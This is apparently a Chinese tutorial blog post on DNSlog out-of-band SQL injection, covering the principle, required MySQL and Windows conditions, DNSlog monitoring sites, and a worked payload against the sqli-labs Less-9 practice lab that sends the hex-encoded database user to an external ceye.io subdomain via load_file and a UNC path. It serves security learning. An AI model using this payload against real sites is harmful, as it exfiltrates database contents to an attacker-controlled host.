WEB安全--SQL注入--DNSlog外带

一、原理:

访问域名时,dns协议将我们访问的语句解析为ip地址,并将其记录在其日志中;在这个过程中,如果我们在语句中写入SQL注入的语句,那么在dns解析时会执行这些语句并通过concat将结果和域名一起记录在日志中,这时我们就能直接去日志中查看敏感信息。

二、条件:

1.mysql的my.ini文件中的secure_file_priv参数值要为空, secure_file_priv=""

2.用户的权限必须是root

3.网站是windows服务器,因为load_file()基于UNC格式读取,是windows系统特有的

三、网站:

DNSLog Platform

CEYE - Monitor service for security testing

登录 - DNSlog System

DNSLOG Platform

DNSLog Platform -- DNSLog

四、示例:

以sqli-labs第9关为例:

sql 复制代码
http://127.0.0.1/sqli-labs-master/Less-9/
?id=1' and (select load_file(concat('\\\\',(select hex(user())),'
.s5vuxg.ceye.io\\abc')))--+

因为一些字符不能直接回显在网页上,需要hex()转为十六进制

最后再转回来即可

相关推荐
S0NeT31 分钟前
[RoarCTF 2019]Easy Calc
web安全
我的蒲公英1 小时前
2025年了,别再用微信群发APK了:内测分发的正确打开方式
android·安全·ios
想你依然心痛2 小时前
CTF:网络安全的实战演练场
安全·web安全
黑客笔记3 小时前
安全态势感知中的告警误报思考
大数据·深度学习·神经网络·web安全
珹洺5 小时前
数据库系统概论(十六)数据库安全性(安全标准,控制,视图机制,审计与数据加密)
数据库·安全·oracle
风舞雪凌月5 小时前
【安全】VulnHub靶场 - W1R3S
安全
forestsea6 小时前
PostgreSQL 安全纵深防御:从权限到加密
数据库·安全·postgresql
你好我是小美6 小时前
分析XSSstrike源码
学习·安全·web安全·网络安全·自动化
Logan Lie7 小时前
Linux运维笔记:服务器安全加固
linux·运维·服务器·安全
qq_243050797 小时前
Protos-SIP:经典 SIP 协议模糊测试工具!全参数详细教程!Kali Linux教程!
linux·网络·web安全·网络安全·黑客·voip·kali linux